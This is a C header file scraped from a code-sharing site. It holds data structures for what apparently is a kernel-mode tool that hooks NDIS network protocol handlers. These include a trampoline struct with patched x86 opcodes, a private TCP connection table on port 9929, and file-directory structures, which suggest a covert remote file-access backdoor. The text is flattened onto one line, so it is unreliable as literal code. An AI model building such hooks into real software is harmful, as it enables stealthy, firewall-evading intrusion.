www.pudn.com > uay_source.rar > structs.h
#ifndef U_STRUCTS #define U_STRUCTS #include#include "TcpIpHdr.h" //-------------------------------------------------------------------- ////struct #pragma pack(push) #pragma pack(1) typedef struct _HOOK_CONTEXT_STRUCT { //runtime code UCHAR code1_0x58; //0x58 | pop eax | pop caller IP from stack to eax UCHAR code2_0x68; //0x68 | push IMM | push our hook context address struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this UCHAR code3_0x50; //0x50 | push eax | push caller IP from eax to stack UCHAR code4_0xE9; //0xE9 | jmp HookProc | jump our hook proc ULONG m_pHookProcOffset; //our context data PVOID m_pOriginalProc; PVOID m_pHookProc; PVOID m_pBindAdaptHandle; PVOID m_pProtocolContent; PVOID *m_ppOriginPtr; struct _HOOK_CONTEXT_STRUCT *m_pHookNext; }HOOK_CONTEXT_STRUCT; #pragma pack(pop) //-------------------------------------------------------------------- #define MAX_PACKET_SIZE 1600 //whAt? //from privAte\net\sockets\winsock2\dll\sinsock2\Addrconv.cpp #define HTONS(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) ) #define NTOHS(s) HTONS(s) #define HTONL(l) \ ( ( ((l) >> 24) & 0x000000FFL ) | \ ( ((l) >> 8) & 0x0000FF00L ) | \ ( ((l) << 8) & 0x00FF0000L ) | \ ( ((l) << 24) & 0xFF000000L ) ) #define NTOHL(l) HTONL(l) //-------------------------------------------------------------------- typedef struct _TCPS_Conection { LIST_ENTRY m_ListElement; HANDLE m_pBindAdaptHandle;//NDIS_HANDLE BOOLEAN m_bIsConnected; BOOLEAN m_bIsConnecting; ULONG m_ReSendCount; //pArt of ETHHDR UCHAR m_SourceMAc[ETH_ALEN]; UCHAR m_OurMAc[ETH_ALEN]; //pArt of IPHDR ULONG m_SourceIp;//源ip ULONG m_OurIp; //our ip //pArg of TCPHDR USHORT m_SourcePort; USHORT m_OurPort;//defAult is 9929 ULONG m_Seq;//当前的seq和 Ack_seq ULONG m_Ack_seq; ULONG m_IsSyn; ULONG m_ExpectedSeq;//////// ULONG m_ExpectedAck_seq;//////// USHORT m_Window; // ULONG m_PAcketsLeftToBeSend; ULONG m_DAtALength; WCHAR m_PAth[512];//the current pAth,beggin with \??\ eg. \??\c:\WINDOWS }TCPS_Connection,*PTCPS_Connection; //-------------------------------------------------------------------- #define DATALENGTH 1024 typedef struct _RECVLIST *PRECVLIST; typedef struct _RECVLIST { char dAtA[DATALENGTH];//bug 这样太浪费空间,应该在加入数据的时候动态分配 PTCPS_Connection pConnection; PRECVLIST pNext; }RECVLIST,*PRECVLIST; typedef struct _RECVLISTHEAD { KSPIN_LOCK kspRecvListLock; KSEMAPHORE ksemRecvListSemAphore; PRECVLIST pListFront; PRECVLIST pListBAck; }RECVLISTHEAD,*PRECVLISTHEAD; //-------------------------------------------------------------------- //-------------------------------------------------------------------- //存放待发送的包 typedef struct _SENDLIST *PSENDLIST; typedef struct _SENDLIST { PVOID pBuffer; ULONG ulBufferLength; PTCPS_Connection pConnection; PSENDLIST pNext; }SENDLIST,*PSENDLIST; typedef struct _SENDLISTHEAD { KSPIN_LOCK kspSendListLock; KSEMAPHORE ksemSendListSemAphore; PSENDLIST pListFront; PSENDLIST pListBAck; }SENDLISTHEAD,*PSENDLISTHEAD; //-------------------------------------------------------------------- #define MAX_CONNECTIONS 32 //-------------------------------------------------------------------- typedef struct _FILE_DIRECTORY_INFORMATION { // Information Class 1 ULONG NextEntryOffset; ULONG Unknown; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; //-------------------------------------------------------------------- #endif //#ifndef U_FUKTDI